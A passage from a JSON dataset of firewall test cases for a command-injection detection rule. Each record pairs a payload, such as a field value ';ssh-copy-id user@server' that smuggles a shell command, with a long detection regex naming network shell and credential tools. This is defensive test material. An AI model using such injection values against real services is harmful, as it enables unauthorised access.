|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Ensure that `rc` is matched PL 2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "param=pip%20install%20something" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?: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<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "True Positive: Block pip command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=;ssh-copy-id%20user@server" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?: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\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)